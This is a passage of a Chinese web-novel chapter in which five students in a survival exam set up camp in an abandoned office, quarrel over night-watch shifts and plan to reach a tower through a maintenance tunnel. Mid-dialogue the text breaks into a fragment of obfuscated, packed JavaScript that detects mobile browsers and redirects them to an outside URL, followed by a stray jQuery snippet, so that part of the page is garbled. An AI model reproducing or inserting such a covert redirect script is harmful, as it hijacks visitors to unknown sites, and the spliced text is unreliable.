剩下二十多分钟,五个人没再主动搞事。
主要是姜籽被集体剥夺了搞事资格。
她刚多看路边一支队伍两眼。
纪闻川:“走。”
姜籽:“我就看看。”
“别看。”
明栀从后面推着她往前。
“你一看我就觉得他们命不久矣。”
“……?”
偏见。
赤裸裸的偏见。
几人专挑偏僻小路走。
猎榜坐标刷新过两次。
附近也有人闻着积分赶过来。
结果刚堵到巷口,就看见五个人整整齐齐站在里面。
领头那个全黑的格外显眼格外有压迫感。
就连那个红头发的也颇为有震慑感。
来人沉默两秒。
“打扰了。”
转身就要走。
姜籽不允许。
美其名曰来都来了。
于是大家伙们又多了几个人头收入。
“我们真不留点活口吗?”
“我们留了呀。”
“我们都没在广场收割第二波。”
“多好的地儿啊~”
姜籽摊手。
终于。
终端震动。
【猎榜事件结束。】
【所有目标定位解除。】
【猎榜额外积分结算完成。】
那颗跟了他们四十分钟的红点终于消失。
明栀长舒一口气。
“我第一次觉得隐私权这么珍贵。”
她心满意足地的伸了个懒腰。
“睡觉。”
......
旧城区入夜以后比白天安静很多。
雨也渐渐小了。
街边破损的灯牌偶尔亮一下,电流声滋啦作响。
几个人最后找到一栋废弃办公楼。
一楼门窗几乎全碎了。
二楼也塌了半边。
三楼却保存得意外完整。
甚至还有一间会议室。
纪闻川推开门。
里面一张长桌。
十二把椅子。
墙边还有两张长沙发。
明栀站在门口。
眼睛都亮了。
“豪宅。”
姜籽已经进去了。
谢照微没有立刻跟进去。
银丝蛛从她肩头跳下。
沿着走廊墙壁迅速爬远。
半分钟后。
细细的银丝从各个房间延伸回来。
“这一层没人。”
“东边楼梯断了。”
“但西边能上来。”
“楼顶有两只D级机械虫,暂时没有下来的迹象。”
明栀:“厉害啊小微微~我去封楼梯。”
迟宴没说话,转身走向楼梯口。
姜籽也准备过去。
被纪闻川拦住。
“你干什么?”
“帮忙。”
纪闻川狐疑地看她。
“真的?”
“?”
人与人之间最基本的信任呢?
最后。
迟宴和纪闻川去处理入口。
明栀检查这一层剩余的窗户。
谢照微布警戒丝。
姜籽被安排留守会议室。
她站在原地。
环顾四周。
很好。
最轻松的活。
她立刻接受了。
等其他人回来时。
会议室已经发生了巨大变化。
长桌被姜籽推到了墙边。
几张椅子拼成一排。
沙发上的灰拍干净了。
墙角还多了一堆从其他办公室搜刮来的软垫,旧外套和不知道哪个年代留下来的毯子。
甚至有五瓶没开封的饮用水。
明栀抱着枪站在门口。
“……”
“你从哪找的?”
姜籽指指隔壁。
“经理办公室。”
纪闻川看了一眼那堆东西。
“让你守家没让你去抄家啊?”
“害,好说好说。”
姜籽拿起一张薄毯抖了抖。
灰尘一下子扑出来。
所有人同时后退。
“……”
姜籽默默放下。
“这个不要。”
迟宴走到桌边。
拿起其中一瓶水。
看了眼生产日期。
“过期十一年?”
姜籽:“?”
她拿过来。
果然。
十一年。
坏。
痛失五瓶水。
姜籽十分心痛地把它们放到一边。
明栀笑得蹲在地上。
“哈哈哈哈哈哈你忙半天!”
“至少垫子还是能用的。”
姜籽倔强地抢救劳动成果。
姜籽把最后一块还算干净的软垫扔到沙发上。
随后拍了拍手。
“眠了,晚安。”
纪闻川刚坐下,闻言抬头。
“夜班还没排。”
姜籽躺下的动作一顿。
草率了。
明栀抱着软垫挤上沙发。
闻言迅速转头看向谢照微。
“小微微不是布了警戒丝吗?”
谢照微正勾着银丝跟自己的精神体完翻花绳。
听见这句,她动作停了一下。
蛛丝散了一地,化作点点荧光。
“还是需要人留个心眼的。”
“我守,你们睡吧。”
迟宴的声音从门边传来。
会议室安静了两秒。
姜籽缓缓转头。
她脸上的表情十分直白。
你在说什么鬼话?
明栀抱着软垫眨眨眼。
“你守多久?”
“整晚。”
“……”
这次连谢照微都抬起了头。
纪闻川靠着长桌,眉头一皱。
“你明天不参加考核了?”
“参加的。”
“那你不用睡觉?”
“不影响。”
纪闻川气笑了。
“一晚上不睡还不影响,你什么品种?”
迟宴没回答。
看样子是真觉得不影响。
姜籽坐直身体。
“你一个人守整晚。”
“嗯。”
“然后我们四个躺在这里睡?”
“嗯。”
姜籽看他的眼神更怪了。
“你把我们当什么?”
迟宴顿了顿。
“队友。”
“你家队友的作用是围成一圈看你燃烧生命?”
“你是柴火?“
迟宴:“……”
明栀没忍住,噗地笑出声。
姜籽拍了拍身下的软垫。
“我们五个人。一晚撑死八个小时。”
“一个人轮一个半小时,多出来的时间喂虫都够了。”
纪闻川点头。
“轮班。”
“没必要。”
迟宴还是淡淡的。
“我习惯了。”他顿了顿:”真的。”
这句话一落。
会议室里忽然静了一下。
姜籽盯着他看了两秒。
“那正好。”
迟宴看向她。
“什么?”
“趁着条件有利,把坏习惯改了。”
她说得理所当然。
迟宴一时没说话。
纪闻川已经从桌上抽了张落满灰的会议记录纸。
“我第一班。”
明栀立刻开口。
“不行,你今天打得也不少。”
“谁今天没打?”
“我啊。”
姜籽举手。
所有人同时看向她。
姜籽的手停在半空。
“什么意思?”
纪闻川:“你确定?”
明栀:“你把那一堆人引进广场的时候是睡着干的?”
“啊对对对。”姜籽躺平。
谢照微:“巡检虫应该也不认同的。”
姜籽:“……”
行。
她放下手。
纪闻川拿起笔,在纸上划出五个格子。
“迟宴第一班,我第二。”
“为什么他第一?”
明栀问。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17818659|211045||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>纪闻川理直气壮。
“他都坐门口了。”
”你说的对。“
谢照微指尖勾起一根银丝。
“我第三班。”
姜籽迅速接上。
“我第五。”
明栀扭头。
“那我第四?”
“嗯。”
“不行。”
明栀抱紧软垫。
“你是不是想一觉睡到天亮?”
姜籽神色镇定。
”没错。“
姜籽承认得十分坦荡。
会议室里安静了一瞬。
明栀缓缓睁大眼睛。
“你连装都不装一下?”
“诚实是美德。”
明栀气得把怀里的软垫砸过去。
姜籽抬手接住。
顺便垫到脑袋下面。
“谢谢。”
“还我!”
“晚安。”
……
尖锐的系统播报响彻整片考场。
【新生综合考核已进行:24小时。】
【第一阶段区域限制解除。】
姜籽睁开眼。
记分牌震得快从垫子上飞出去。
她按住,觉得。有点烫手
半透明地图在眼前展开。
原本将山林、河谷、工业区、居民区与旧城区分开的灰色边界正在逐一消失。
整个考场连成一片。
紧接着。
一个又一个任务标记同时亮起。
【工业区冷却系统过载。】
【关闭四号冷却门:积分+150。】
【地下轨道C-02发生二次坍塌。】
【恢复通风系统:积分+150。】
......
旧城区外。
不同方向同时传来脚步声。
刚结束第一阶段的考生迅速分流。
明栀顶着一头乱发坐起身。
“好多任务。”
纪闻川也打开地图。
“工业区距离最近。”
“地下轨道分应该不少。”
谢照微看向居民区任务。
那里有伤员。
迟宴没说话。
姜籽已经从软垫上爬起来。
她叼着营养棒。
抬手点掉所有公共任务。
纪闻川看着地图上被她全部关闭的提示。
“你不接?”
“不接。”
明栀从沙发上翻下来。
“那我们去哪?”
姜籽抬起一只手撑头,靠在墙上十分之嚣张且得瑟的扫了两下腿。
“怎么滴,你们都跟我走?”
明栀没有惯着她放肆的义务。
一巴掌拍在她的腰上:“把你能的。”
姜籽一扭,万分之妖娆的靠上软垫。
她放大中央城区。
指尖落在黑塔上。
“咱们直接去这里。”
“黑塔?”
纪闻川擦了擦剑。
“嗯。”
“虽然我一直知道你要去。”
“但是它还没开放吧。”
他指着中央区域周围的一圈灰色的线。
应该只有最开始跳伞到那里的学生在里面。
别人进不去,里面的学生也出不来。
“对的。”
“那我们怎么去?”
姜籽嚼着营养棒。
“它上面没开放。”
“不过那是面向学生的。”
她指尖向下滑。
黑塔公开图标下方。
一条极细的灰色线路从旧城区地下延伸出去。
穿过中央城区边缘。
最后接入黑塔底部。
【中央维护通道。】
【访问等级:三级。】
姜籽取出昨天从巡检核心身上拆下来的权限核心。
三圈蓝色光环依旧亮着。
“咱们走维修通道。”
明栀盯着那条线路。
又看看她手里的核心。
纪闻川抱着手臂。
“你进黑塔以后准备干什么?”
姜籽抛了两下权限核心。
蓝色光环在指间划出一道弧线。